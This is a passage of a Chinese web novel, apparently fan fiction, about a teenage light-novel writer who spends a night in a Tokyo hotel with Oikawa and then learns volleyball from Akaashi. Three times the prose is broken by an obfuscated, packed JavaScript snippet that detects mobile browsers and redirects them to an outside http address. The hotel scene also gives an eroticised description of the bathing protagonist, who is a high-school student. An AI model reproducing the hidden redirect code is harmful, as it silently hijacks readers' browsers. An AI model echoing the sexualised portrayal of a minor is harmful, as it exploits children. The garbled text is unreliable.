宫泽一愣,有点惊讶,但琢磨了一下,又觉得这个设定确实有意思。 “排球魅魔。”宫泽被这四个字逗笑了,“听起来很有意思啊……非常符合我们杂志16+的设定,排球笨蛋和排球魅魔,我开始期待了。” 和宫泽聊了两个多小时,鹤见深雪走出元谈社的时候已经是下午,忍不住激动地心情,准备赴约和赤苇京治的约定。 但是他又想了想,咬牙的给及川彻发了个消息,感谢及川彻自己不知道,但是为他的小说付出了很多,忍痛报答一下及川彻吧,否则良心过不去。 及川彻在元谈社楼下咖啡馆坐了两个多小时,一瞬不移的看着大门,如果不是对自己绝对的自信,他都要以为自己看漏了,要放弃了。 终于,看到鹤见深雪走出了元谈社,他提着包,手里拿着手机。 手机发出震动。 及川彻打开一看,发现是鹤见深雪发来的消息,他还以为鹤见深雪发现自己在跟踪,啊不是,默默保护他了。 小雪:【及川さん,我请你吃蛋糕。】 及川彻看着这行字怔神,这孩子看来不知道是什么原因在元谈社拿到了钱,他缺钱为什么不和他们说呢?而且拿到钱第一时间居然是请他吃东西? 及川彻有点没想到,心情复杂,心里好像是流出什么类似于蜂蜜的东西,虽然没喝酒,却有点醉醺醺的。 ——鹤见深雪,怎么这么喜欢我? 及川彻不想伤害鹤见深雪,内心又无比纠结,毕竟日本到现在还没有允许同性恋结婚。 他在输入框里输入了又删除,调整了半天措辞。 * 鹤见深雪看着手机及川彻已读之后,停了一会儿才回复—— 不好相处但是人设不错的及川君:【及川さん很忙的,超——多人约,但是是小深雪的话,倒是可以勉强抽个空。】 鹤见深雪一看——那太勉强了,算了。 他马上又回复及川彻—— 【及川さん没空就算了。】又省一笔。 及川彻:“……?” 14.撒谎 话虽这么说,但该请还是要请的,既然及川彻没时间出去吃小蛋糕那就送上门好了。 鹤见深雪如是想着,刚准备联系赤苇京治,就有电话打了进来。 还是个熟人。 鹤见深雪一个多月没见这熟人了。 他反复犹豫,直到电话自动挂断,接着又重新打过来。 叹了口气,还是接通了电话。 “喂,鹤见老师吗?我是《青春Oricon》编辑大滝悠成,我们一个多月没联系了,稿子改得怎么样了?” 听到熟悉的声音,鹤见深雪就像遇到了老师提问。 原地立正站直。 完全忘记还有这回事了。 上次大滝悠成把他的小说贬得太厉害了,他直接把大滝悠成列到了被拒稿这个行列了,没想到对方居然还记得。 鹤见深雪站在原地,就觉得脚腕疼,一面和大滝悠成讲电话,一面四下张望,想找个地方坐下。 原本因为鹤见深雪的回复独自郁闷的及川彻连忙放下手机,随手拿起手边的杂志,挡住了脸。 鹤见深雪走进元谈社楼下的咖啡馆,四下看看,找到了一个空位。 “嗯,还没有改完……呃,就是要改的地方太多了,我不知道怎么改了……”鹤见深雪拿走手机结结巴巴地回复着。 大滝悠成在办公室里拿着电话,周围的同事此起彼伏地电话声吵得他不得不捂住一只耳朵。 如果不是今天主编提起,他真把鹤见深雪给忘了。 《青春Oricon》最近在准备奇幻征文,为了造势搞了个十年内奇幻文的TOP20投票盘点。 鹤见深雪的处女作《无尽魔法长夜》被读者投进了第8位,不过为了让有保证内定书籍的曝光率,就将《无尽魔法长夜》的位置调整到18位。 他的这本书最开始授印一万册,后来鹤见家将版权重新买回去,就再也没有印刷过,如今《无尽魔法长夜》的实体书在二手网站上翻炒好几倍。 因为这次的盘点,《无尽魔法长夜》又小翻红了一把,总编听说鹤见深雪重返文坛,希望他能参加征文。 大滝悠成坐在办公室里,想到鹤见深雪那双猫眼石一样的眼睛,他不由得有点食指大动,轻轻用手指轻点桌面。 “不了。” 鹤见深雪鼓起勇气拒绝,他和大滝悠成处不来,而且现在忙于《GARLAND!バラ恋人》的长篇连载,他自己对自己的能力倒是很有自知之明。 他是那种感情投入型的作者,要入戏都得花很长时间,无法同时支撑两个故事的创作。 “我现在和别家杂志有签约,暂时在创作那边的文稿。” “哈?” 对面的大滝悠成惊讶地发出难以置信的声音,他没想到鹤见深雪居然会拒绝。 更没想到,一会儿不见,鹤见深雪就被竞争对手挖走了。 ——哪家杂志会看得上那本《漩涡》? “《VOYAGE☆文库》还是《Echo Chamber》?”大滝悠成一连报了好几个竞品的名字。 鹤见深雪实话实说:“是《GARLAND!バラ恋人》。” 大滝悠成在脑子里搜索了一下才想起了,诧异地坐直身体,道:“这不是那个腐向杂志吗?” “是的。” 大滝悠成被气笑了,他没想到鹤见深雪会堕落到写擦边男同小说的地步。 “你的读者怎么办?”大滝悠成恨铁不成钢地提问道,“你之前的《无尽魔法长夜》那么多男读者……” 鹤见深雪皱了皱眉,道:“我写什么跟我的读者有什么关系,他们不爱看可以不看的。” “……” 大滝悠成哑然,鹤见深雪完全可以做偶像作家来赚的盆满钵满,找不到第二个像他这种长相的作家,才华什么的哪有颜值来钱快啊。 想起这个大滝悠成脑海里浮现了一些想法,他这次把手放到桌面上,把有些激烈的措辞换了一种说法。 及川彻坐在鹤见深雪空了两格的座位上,蜜棕色的眼睛从杂志的上方看向鹤见深雪的位置。 鹤见深雪没一点警惕意识,走哪儿都是人群的焦点。 及川彻的位置是刚好能够听见他的声音,却听不见电话里的声音—— “动画化?!”鹤见深雪不由得惊讶地捂住嘴巴。 “我这边有人脉,把你的小说推给了动画公司。” “不过那家公司希望和您当面谈——轻小说改动画比漫画改动画要难得多,而且这么在乎原作者的动画公司可不多见,鹤见老师要珍惜啊……” 鹤见深雪连连应声,激动地坐直身体,“我一定会的……什么时候见面呢?” “下周吧。”大滝悠成忍不住笑了。 “啊……”鹤见深雪很快泄了气,如果下周,那他岂不是还得再来一趟东京?那时候他该用什么理由出来呢? 而且这个车票估计报销不了了(这个才是重点)。 “今天行吗?”鹤见深雪试探道。 “你开什么玩笑啊鹤见老师……你以为人家随便就能约到啊……” “唔……好吧。” “……最早的话,明天晚上吧。”大滝悠成道。 鹤见深雪看了眼时间,心里计算在东京住一晚,和来回新干线车票哪个更划算。 “好,那就明天晚上吧。” 鹤见深雪选择了前者,如果能卖出动画版权,那就是一笔大到夸张的收入,搞不好一本书能养活自己一辈子。 日本是动漫二次元的发源,动漫改编大多都来自漫画,小说改编不算太多,改编难度更大,动画公司更倾向于改编漫画,更别说《无尽魔法长夜》的热度都没了。 鹤见深雪看着落地玻璃窗外的景色,对自己的小说能改动画这件是不抱太大的希望,但多少还是有了点…… 性格相当悲观的鹤见深雪立刻开始幻想自己明天被动画公司的人嘲讽的画面。 他不过只是个准高三生而已,让他直面成年人的世界确实是有点忐忑了。 他侧脸贴着桌子,看着窗外流逝的人群,还活着,但死了一会儿了。 给及川彻发消息。 【今天晚上在同学家住,不回去了,麻烦及川さん告诉伯母。】 鹤见深雪刚发完消息,就听到身边有熟悉的手机铃声,及川彻连忙低下头,好在他平时不怎么穿这件皮衣,所以鹤见深雪并没有认出他。 但及川彻还是太高挑了,鹤见深雪微微偏头,看向不远处完全用杂志挡住脸的人。 这人腿好长……嫉妒。 鹤见深雪愤恨地想道,再打开手机,看到赤苇京治早就给他发信息了。 赤苇京治:【结束了吗?】 赤苇京治:【我开始比赛了。】 啊。 鹤见深雪小小的失落了一把。 他连忙回复赤苇京治【对不起对不起!现在去还来得及吗?】 显然,赤苇京治不会回复他了。 过了十分钟,鹤见深雪又道:【你明天还有比赛吗?或者今天晚上见面,我要在东京呆一晚。】 鹤见深雪发完消息站起来,因为脸皮薄,又含泪买了一块‘价值连城’的马卡龙当午饭,还不够塞牙缝的。 -1000円。 鹤见深雪看着地图,文京区找了一家非常普通的酒店,用ID卡开了房间。他不敢露宿街头, 这点安全意识他还是有的,东京的夜晚和东京的白天是两个地方。 -8000円。 鹤见深雪体会了一把花钱如流水的感觉,心里默默把晚饭给pass掉了。 他是完全的低能量人群,一到酒店就倒进了棉花似的大床上,整个人陷了进去。 不知道躺了多久,肚子饿醒了,他皱着眉头看向落地窗外,天色渐晚。 打开手机,赤苇京治回复他。 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128671|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱歉,刚才在比赛,其实您可以直接过来的。不过现在也没必要了,明天可以见面。】 鹤见深雪一看时间是半小时前,内心抱歉,又有点急切,为了防止俩人再次跨时差聊天,鹤见深雪直接拨通了赤苇京治的电话。 对面响了好几下,鹤见深雪都有点后悔打出去了,对面总算是接电话了。 “鹤见老师。” 赤苇京治的声音很好听,和鹤见深雪想象中的一样,被手机的电流扭曲得更加有种理性的淡漠,总之是鹤见深雪很喜欢的那种类型。 这是他们第一次听见彼此的声音。 “对,赤苇君……是我。”鹤见深雪没来由有点紧张,“不好意思,一激动就打通了。” 赤苇京治说话就像是在按摩耳朵,“没关系,我正好在看书。” 鹤见深雪连忙道:“嗯,那明天上午见面可以吗?” “当然可以。” 鹤见深雪很快就不知道说什么了,甚至忘记下一步应该约地点了,赤苇京治也没说话,彼此聆听着对方的呼吸。 鹤见深雪揪了揪床上的被子,还是决定进行原计划,今天本来是要看赤苇京治比赛的,结果没去成。 他道:“那……你明天能教我打排球吗?” “你要学排球?”赤苇京治波澜不惊的语调里多了一份讶异,就好像平静湖泊里扔了一块石头。 高敏感人群鹤见深雪竟然在里面听不出任何嘲讽的意味,甚至觉得赤苇京治语气里有点欣喜,鹤见深雪在床上快活地翻了个身。 “对啊,我要竞选球队经理嘛,还是接触一下比较好,免得到时候……”被及川彻嘲讽。 鹤见深雪想了想,又怕自己完全学不会,太笨了四肢不协调让赤苇京治为难,于是预防针似的提醒他。 “还有就是……”他有点不好意思:“我只有159也可以打排球吗?” “当然可以,我知道有很厉害的自由人也是159,也不用打的很好,我打得也一般……能感受到排球的快乐就好。” 赤苇京治的声音冷淡,却有种哄孩子的感觉。 鹤见深雪觉得自己太适合与赤苇京治相处了。 于是赤苇京治报了个地名,是家排球馆,鹤见深雪拿着地图大致标了一下方向,两人又聊了两句之后,鹤见深雪挂了电话。 他刚想放下手机,就看见及川彻早就回复了一条消息。 【好啊。】 看到这‘天真无邪’的【好啊】,顿时让鹤见深雪又有点心虚。 鹤见深雪肚子饿得不行,化饥饿为力量,开始在手机上找排球比赛,他做事情总是准备得很周全,希望明天能够在赤苇老师面前表现得好一些。 “叮咚。” 门铃响起。 鹤见深雪皱眉,他定的酒店不算太贵,更加没有送餐服务,他有点害怕不知道谁摁他的门铃。 这是他第一次独自一人外宿于酒店。 鹤见深雪有点惶恐地喊了一句。 “——谁啊?” 外面的人没有回应,鹤见深雪心里提到了嗓子眼,好在门上有内扣的锁链,不怕人破门而入。 鹤见深雪忐忑地走到门口,拉了拉锁链确认不会松脱的之后,轻轻拉开门锁。 走廊的灯光要比屋里明亮,来人站在逆光处,头戴黑色鸭舌帽,整张脸隐在黑色的阴影里,每一寸轮廓被灯光镌刻,宛若雕塑一般英俊。 他个子很高,鹤见深雪得仰头看他。 单手扶住鸭舌帽,蜜棕色眼眸暗沉,映照着一头金发明亮的鹤见深雪。 他笑了一下,不算很亲切。 ——及川彻。 “哟,小深雪,不是说去同学家住吗?”及川彻轻快地问道,对鹤见深雪眼里堪称地震的惊讶十分满意。 还没等鹤见深雪回答。 他带着没有温度地骄矜笑容,不给鹤见深雪解释的机会,斩钉截铁道: “撒谎。” 15.酒店 “嘭!” 鹤见深雪震惊到下意识关门,及川彻连忙伸手推住门,不让他关上。 “小雪,是我啊!你干嘛?!”及川彻也很惊讶,鹤见深雪看到他的第一反应居然是关门。 ——他有那么可怕吗? “及川彻怎么会在这里啊,一定是在做梦啊!一定是在做梦!” 鹤见深雪背靠着门,用力关上门,震惊到以为自己在做梦,不断重复。 及川彻:“……”我都跟你一路了。 及川彻在跟踪,啊不是,默默保护鹤见深雪一天之后,还是决定不差这一天这一晚上,就准备和他一样留宿在东京,他担心鹤见深雪突然接了那个电话后,还会有什么波折。 本来决定悄悄订间屋子算了,但在楼下呆了一天,发现鹤见深雪都没有下来吃饭的意思,忍不住带了点食物给他。 及川彻把手伸进去,手里提着袋子,饭菜的香味瞬间飘过来了,鹤见深雪僵住了身体,看着从门外伸进来的手,和食物。 他舔了舔嘴唇,默默打开了门。 “彻哥,您怎么来了?” 及川彻:“……” 及川彻在看着变脸如翻书的鹤见深雪,随口说了自己早就想好的借口。 “过来给小岩买东西。” 及川彻说完不自在的摸了摸鼻子,刚说完鹤见深雪说谎,自己马上又说了。 啊? 鹤见深雪不由得震惊,甚至都忘记问及川彻怎么知道他的酒店还有房号了,他震惊于——及川彻居然对岩泉一这么好? 从宫城跑一趟东京可不算太近,来回都要五六个小时,及川彻这样就跑来了? 只是为了给岩泉一买东西?! ——这不是真爱是什么啊?啊?! ——磕到了磕到了。 ——现在就加入小说桥段豪华套餐。 “你在那儿笑什么呢?”及川彻问。 “啊,没什么。”鹤见深雪连连摆手。 他闻道了拉面的香味,口水已经直流三千尺了。 “过来吃饭!” 及川彻将食物放在桌子上,鹤见深雪跟个小狗狗似的,如果有尾巴现在已经螺旋上升飞天了,他今天就吃了早饭包子和一块马卡龙。 如果没有及川彻,他大约是要饿两天的。 现在及川彻与他的再生父母没什么区别。 妈妈!鹤见深雪在内心习惯性的喊道,但又觉得不对劲,又改成爸爸,啊不行好奇怪啊,还是算了。 鹤见深雪内心OS时,及川彻已经把打包盒打开了,筷子塞到他手里。 “谢谢哥。” 因为是打包的拉面,所以不算太烫,鹤见深雪直接下口,含着面条模模糊糊地说话。 及川彻看着他的样子,也忍不住笑,打开了自己面前拉面,随手把上面豚肉夹到鹤见深雪碗里。 鹤见深雪连谢谢也不说了,吃了个半饱才问道:“及川さん怎么知道我酒店和门牌号的?” 吃饱了就变成及川さん了是吧?还不如让你饿着。 及川彻面不改色地回答:“因为我也要订酒店,在楼下看见你了,但当时没来得及喊你。” “噢。”鹤见深雪毫不怀疑,继续埋头苦吃。 及川彻存心逗他,便道:“你不是见同学吗?你同学呢?” 鹤见深雪大概率在偷偷赚钱,及川彻听到的电话里面的,什么动画化,还有什么杂志,因为隔得有点远,他其实没听清鹤见深雪具体在做什么。 但应该不是什么坏事,而且能出入元谈社大概率是正经工作。 鹤见深雪家庭变故他知道,更别说每个人都有隐私,及川彻情商很高,要是别人他肯定不会再问了,但鹤见深雪,不知道为什么他格外想知道他的一举一动。 鹤见深雪对他来说,就像是每天推开门必然看见的那扇紧闭的门,还有晨练时二楼窗户里微弱的灯光。 他并不了解,现在的鹤见深雪。 “有、有同学的。”鹤见深雪眼睛漂移,说谎的时候就会这样,他答道:“明天去见朋友。” “哦,真的吗?你朋友叫什么?” “赤苇京治。” 及川彻听到陌生的名字,鹤见深雪说出这个名字的时候不像撒谎,他看了眼双人的大床,还没开口,鹤见深雪道:“那……哥,你订房间了吗?” 及川彻垂着纤长的睫毛望着咬着筷子的鹤见深雪,他带着狡黠的笑容,仰着脸看及川彻,及川彻很快猜到鹤见深雪心里有什么打算,甚至又从及川さん变成哥了。 不能这样。他对自己说道。 但开口却说了实话,“没有。” “那太好了,哥……我们一起睡吧。”最好和我A下房费。 “都可以啊,你不嫌挤就行了。”及川彻不在意地说道,心里却波涛汹涌,为什么要答应他,不应该答应的,和魅魔睡一张床的后果,真的能承受吗? 鹤见深雪点头,但又有点后悔,他怎么好意思找及川彻A房费呢?只能等及川彻自己提出来,但及川彻若有所思,压根没想到这一茬。 害,后悔了,白捡了挤。 就当是付饭钱了,也不算亏。 他对别人的钱没什么占有欲,但是及川彻,就当帮他省钱了。 “那及川さん我先去洗漱……”鹤见深雪最开始没打算在这里过夜,自然也没有带换洗的衣服,但天然爱干净的他,不洗澡就睡不着。 好在酒店有一次性的内衣裤和睡衣。 及川彻转头望见酒店外辉煌的灯火,不远处元谈社大楼还有一堆加班的社畜,他不敢回头,因为酒店浴室的玻璃门比他房间浴室的门还要透。 鹤见深雪基本就在半透明的浴室里洗澡,臀腰腹的曲线柔美缱绻,被氤氲成淫/靡的笔触,仰头接受水花洗涤的时候,后背甚至抵着磨砂的玻璃墙面,潮湿的脊椎沟壑拖曳出蜿蜒的银河。 鹤见深雪没有洗头,出来看见及川彻背对着浴室躺在沙发上戴耳机看排球比赛。 就和上次一样。 或许是一碗拉面解千愁,鹤见深雪感觉自己和及川彻的隔阂小了很多,不客气地走过去,将及川彻的耳机摘了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132868|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及川彻一扭头,看见鹤见深雪银铸的大腿,象牙白色,带着陌生沐浴露的香味,他抬头,鹤见深雪低着头看他,金发扎了个丸子头,发卡将斜刘海别起来,露出秀气的额头。 酒店的一次性睡衣很薄,被带有潮气的皮肤濡湿,能看到下面透粉的肌肤。 “到床上去睡嘛。”鹤见深雪催促道。 及川彻有点诧异地看着鹤见深雪,这家伙真的是男人吗?这是在干什么?存心勾引他吗? 他哑着嗓子道:“我睡沙发就行了,你快去吧。” 鹤见深雪站在原地有点意外,床其实还蛮大的,本来就是双人床,沙发却很小,还不够及川彻伸直腿。 是他把及川彻留下的,目的也是为了自己,最后让人睡沙发是他绝对不愿意的。 于是,鹤见深雪蹲下来,露出笑容,撒娇道:“一起睡嘛~” 鹤见深雪觉得兄弟两个人睡了一个被窝,那就真的是掏心掏肺的好兄弟了,反正他没跟任何人睡过一张床。 他和及川彻的关系将会登上一个新的台阶。 天啊,他居然为了一碗拉面就萌生了和及川彻成为朋友的想法,说实在的自己也挺惊讶的。 他其实不太想和及川彻成为很好的朋友,因为他知道及川彻不会把他放在第一位,岩泉一永远比他更靠前,但关系缓和点也好。 及川彻被他撒娇打得猝不及防,望着他鹤见深雪纯然的脸,眼中总是有无法弥散的残酷却又无往不利的天真。 及川彻徒然觉得很渴,起来拿起桌上的水一饮而尽。 “你和岩泉睡过没?” “噗——” 及川彻一口水刚喝下去,全喷了。 他震惊地看着也很惊讶的鹤见深雪,他忙从桌上纸巾盒里抽出纸。 “什么?” “我就问你,有没有和岩泉一起睡过觉啊?”鹤见深雪很纳闷,抬手给及川彻擦嘴,冰凉泛红的指尖划过他的嘴唇。 “没有。”及川彻斩钉截铁地回答,他们就连小时候玩得穿一条裤子的时候,也没有一起盖过同一床被子。 鹤见深雪的手被沐浴露腌入味了,是全身上下最香的地方,及川彻忍不住闭息,尴尬地别开头。 “喔。”有点可惜,他还很好奇一对青梅竹马睡一张床,能不能发生点什么,没拿到新素材的鹤见深雪失望的回到了床上。 房间里的灯光并不明亮,遮掩及川彻面色的绯红。 有种失控的感觉,他控制不住自己,也控制不住鹤见深雪。 就好像在排球场上,对方的二传手的每一个动作都超过他的想象,他无法推测对方的动作,同时自己的动作也不受预测,不断踏入对方的陷阱。 及川彻回过头去,看见鹤见深雪趴陷在柔软如云的床上,撑起的肩胛骨、凹陷的腰窝,摇晃着脚丫,组成夏威夷的阳光海浪般轻快的弧线。 及川彻重新带上耳机,看着眼前的排球比赛,但脑子里一团乱麻。 他想告诉他的挚友岩泉一,但真的发现之后,他倒是一句话也说不出来了,甚至羞怯与让岩泉一知道。 16.排球 鹤见深雪第二天早上是被电话吵醒的。 他从枕头底下摸索了一番,掏出手机,接通电话,嗫嚅般地哼唧了一声。 赤苇京治:“鹤见老师,是我。” 鹤见深雪瞬间清醒了,马上看了眼手机,发现自己并没有起晚,才松了一口气。 “您昨天说怕起晚了,所以让我打电话通知您。”赤苇京治在电话里这样说。 对,确有此事。 鹤见深雪和赤苇京治聊了两句之后彻底清醒了,他在云朵一样的床上蛄蛹着下来。 及川彻不知道去哪儿了,反正一晚上不在。 鹤见深雪已经打消了A房费的念头,换完衣服后。 及川彻才带着早饭来。 及川彻极不凑巧得有两份早餐,鹤见深雪不小心把早饭弄掉进了嘴里,实非蹭饭。 “及川,你给岩泉买的东西买完了吗?”鹤见深雪吃完早饭,叼着牛奶盒说话。 “嗯,在深雪睡觉的时候,我已经做了很多工作了哦~”及川彻示意桌子上放着灰色盒子。 及川彻既然能撒出帮岩泉一买东西的谎言,自然早有准备,东西是他从二手网站上买的,原本打算邮寄到宫城,索性直接过去拿来了。 鹤见深雪梳头的手一僵,忍不住露出暧昧的笑容,试探地问道:“——买的什么啊?还要特地来东京买。” 及川彻也不藏着,将那个盒子递给鹤见深雪。 鹤见深雪连忙打开,愣在原地——熟到不能再熟的封面。 ——《无尽魔法长夜》夏夜雪著。 “…………” “怎么啦?”及川彻坐在椅子上疑惑地抬头,看见冻结的鹤见深雪。 “哦没什么……” 鹤见深雪轻轻翻开第一页,果然还是本人亲签。 ……我以前的字好丑。 人永远无法共情以前的自己。 鹤见深雪连忙盖上盒子,不忍直视,若无其事地问道:“原来岩泉君喜欢看这本书啊。” 及川彻点点头,“我和他都很爱看。” 一个人买实体书没什么,专门买已经绝版的还是亲签、甚至该作者只有这一本书的情况下,就证明他应该不只是喜欢书了。 ——我的妈呀!!及川彻居然是我读者啊啊啊! 鹤见深雪表面平静,内心已经波涛汹涌,其实经过这一晚上他觉得自己已经和及川彻很近了,甚至萌生了让他知道自己在写作赚钱也没什么的想法。 但是现在鹤见深雪只想让一辈子别知道自己是夏夜雪。 夏夜雪就好像是鹤见深雪的网名,及川彻看他的小说,就好像俩人在网聊一样,网友不要见面比较好。 保留对夏夜雪的喜爱算了,鹤见深雪和夏夜雪并不算同一个人! 我不待见的现充竟然是我的读者! ——等下,这句话从鹤见深雪的脑子一闪而过,他瞬间觉得这也是个灵感,记下来。 “你也看过这本书吗?”及川彻有些疑惑地看着面色不自然的鹤见深雪。 “嗯,看过一点。”鹤见深雪抓紧自己背包,里面有准备的运动服。 鹤见深雪推开门,想快点结束这个单方面尴尬的话题,不过及川彻似乎还是不准备放过他。 “你觉得这本书怎么样啊?”他追在后面问。 “……还好吧。” “还好?” 及川彻不满意了,鹤见深雪估计在做跟轻小说或者漫画相关的工作,这本书在他看来是必读书。 “常学馆排的奇幻作品TOP这本排18,其实我觉得前面几本都不如他。你肯定是没看完,我借你看看吧。” “……哇,那谢谢你啊。”鹤见深雪棒读。 “不客气。” 及川彻有些怅惘地说道:“不过作者好久没有出新书了……你怎么走那么快,你快迟到了吗?” 鹤见深雪站在酒店大门,抿抿唇,思考着…… 他和赤苇京治约在排球馆,还让赤苇教他排球,及川彻如果知道了,肯定会问——你叫他教你,却不叫我教? 啊嘶,这个真是恐怖的画面啊。 得罪人就得罪吧,确实是之前没把及川彻当过朋友,所以也没有找他请教过排球,吃了及川彻两顿饭之后,我现在悔改还不行吗? 鹤见深雪先发制人,“我和朋友要去打排球,及川你也去吧?” “你还会打排球?”及川彻很惊讶。 “我那个朋友打啦,我就想学一下,就让他教我。”鹤见深雪眨了眨眼,眼神游弋,撒谎的表现。 及川彻沉默……明明对排球不感兴趣却要学,明明有他却找别人教,他果然——喜欢我。 及川彻压下上扬的嘴角,双手插兜,十分矜持,同时对自己的排球技术相当自信:“去啊,你不用找别人,及川さん也能教你。” 鹤见深雪立刻抬头,欣喜地看向及川彻,他居然没说那句「你叫他教你,却不叫我教?」。 及川彻看着他的眼神,我说教他他竟然这么高兴? 虽然俩人的想法不同,但结果都是非常和谐。 鹤见深雪偷偷给赤苇京治发消息,说他会带一个也会打排球的朋友去,并让他不要透露自己在写小说,最重要不能说他的笔名。 鹤见深雪转过头,发现及川彻还在自拍。 ——这家伙可真够自恋的。 排球馆也在文京区,地铁只倒了三站。 鹤见深雪一出地铁口就一眼认出了等待的赤苇京治。 他简直和他妈长得一模一样,身高和及川彻相差无几,又是一个米八。 因为鹤见深雪蛮喜欢赤苇京治的,决定留他一命。 我说你们这些打排球的一人匀一点身高给我可以吗? ——难道打排球可以长个子? 赤苇京治也是一眼认出了鹤见深雪,因为他太显眼了。 如果鹤见深雪是杀人犯,一地铁的人都能会说见过他,灿烂金发和近乎白的发光的精致脸庞,像是一滴金子掉在水里。 赤苇京治见到鹤见深雪的瞬间微微一愣,他看过两次鹤见深雪的照片,鹤见深雪无疑比照片上还好看。 网友面基有点紧张,还好有及川彻。 及川彻二话不说,直接伸手在鹤见深雪的前面,和赤苇京治握手,鹤见深雪不满地撞了他一下。 “及川彻。” “赤苇京治,请多指教。” 俩人很巧得都是二传手,所以话题很快被及川彻拉到了排球上。 “我听深雪说你也是二传手?” 赤苇京治深深地看了眼鹤见深雪的,大概知道上次拍马屁拍给谁了。 “对,我也听鹤见さん提过您。” 及川彻有些惊讶,转头看向鹤见深雪,鹤见深雪撩撩刘海,想要装作无事发生。 ——上次的那个请教拍马屁也算是提过吧。 赤苇京治把两人带到排球馆。 鹤见深雪还是第一次踏入排球馆,比想象中大好多。他这次创作的短篇偏恋爱内容,编辑也提了排球的看点比较少这个问题,大概率还是因为对排球这项运动没什么实感。 他走到球网面前,抬头望向两米四五的球网顶端。 ……好高。 ——真的像一面墙一样。 鹤见深雪微微偏头,看向旁边正在打排球的其他人,排球在他们手里像是轰鸣的炮弹一样。 ——好帅啊。 “鹤见さん。”赤苇京治熟悉的声音从身后响起。 “在!”鹤见深雪连忙立正。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137893|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放轻松,不用紧张。”赤苇京治微笑道,将一个排球扔到鹤见深雪的方向,鹤见深雪接住。 因为及川彻没有带运动服,就坐在场外时不时点评几句,很烦人。 赤苇京治教得很好,不愧是鹤见深雪看中的可以做幼师的温柔。 鹤见深雪学习能力不错,示范了一下,鹤见深雪就开始上手垫球,意外的垫得还不错。 啊好痛啊……哪怕是垫球,鹤见深雪都觉得手腕好痛,硬排球落下来,砸在鹤见深雪白嫩,甚至血管看得一清二楚的手臂,瞬间泛红。 鹤见深雪很不耐痛,但早就已经做好了会痛的准备,一声不吭。 哼哼,除了有点痛以外,排球也没有那么难吧? 及川彻掏出手机,就跟带自己的小外甥一样,心花怒放地给鹤见深雪连拍了好几张照片,但不管怎么拍,照片上都会有赤苇京治。 及川彻想了想在网络上搜索赤苇京治,这个他怎么听都很耳熟的名字,果然找到了本届春高的讯息。 枭谷学院……及川彻关掉手机,脑海里却想起鹤见深雪不是井闼山学院的学生吗? “好了,试试发球。”赤苇京治抬手示范了普通的上手发球。 鹤见深雪拿着排球,深吸一口气,初次尝试自己的第一次发球。 鹤见深雪有点紧张,害怕过不了网,排球抛得有点过高了,他抬起手挥了空,还没反应过来,排球刚好砸到了他的头顶。 “咚。” 清脆的声音。 好痛好痛好痛!! “……啊,没事吧?鹤见さん。”人淡如菊的赤苇京治也手足无措了。 “哈哈,我没事呢~” 鹤见深雪眼底闪着泪花,露出阳光笑容面向赤苇京治,牙齿洁白,笑容灿烂。 “噗哈哈哈……”坐在身后休息椅上的及川彻忍不住笑出声。 对不起,真的忍不住了。 鹤见深雪听见他的笑声,握了握拳头,不想回头——好像揍他,怪不得岩泉一总揍他,这人就是特别欠揍啊。 赤苇京治有些心疼地看了眼鹤见深雪的头顶,委婉道: “没关系的,鹤见さん不是要做自由人吗?自由人不需要会发球,而且刚才鹤见さん接球接得很好,很少人接触不到二十分钟就能垫球和接球的。” “真的吗?”鹤见深雪立刻眼前一亮,抬手摸了摸自己被砸的脑袋,对及川彻的怨气瞬间消散。 “这么看我可能还是有点天赋的吧?” “当然。”赤苇京治郑重地回答。 嘿嘿。鹤见深雪心中一喜,回头瞪了一眼及川彻,摸着脑袋去另一边捡球。 他很要面子,手疼还能忍耐,而且多砸几次开始麻木了就没那么疼了,但刚才砸那一下真的让他头晕目眩的。 其实是为了趁着捡球休息一下,顺便揉一下脑袋。 “鹤见!” 他低着头往前走,听见赤苇京治喊他,似乎有点失去方向了,眼前突兀出现一面红色的墙,鹤见深雪来不及反应撞上了这面柔软的墙,因为撞得太突然,被撞的瞬间,失去平衡向后倒去。 他才向后偏了一点,一只强力的手迅速抓住了他的胳膊,直接把他提了起来。 “哟,大小姐小心些啊。” 排球场灯光刺眼,鹤见深雪忙抬头看向自己撞上的‘墙’,晃了一下才看清。 来人穿着红色运动服,个子感觉比及川彻还要高,体型也比及川彻更宽阔,头顶黑色炸毛,半边刘海挡住了眼睛,露出有点痞痞笑容,牙还挺白的。 鹤见深雪被撞懵了一瞬,恍惚才明白,大小姐——应该是在叫我? 鹤见深雪还没来得及发火,旁边就有个和自己一样金发的男生,轻声开口道: “小黑,人家是男生。” 17.摸摸 鹤见深雪被大胆狂徒撞了。 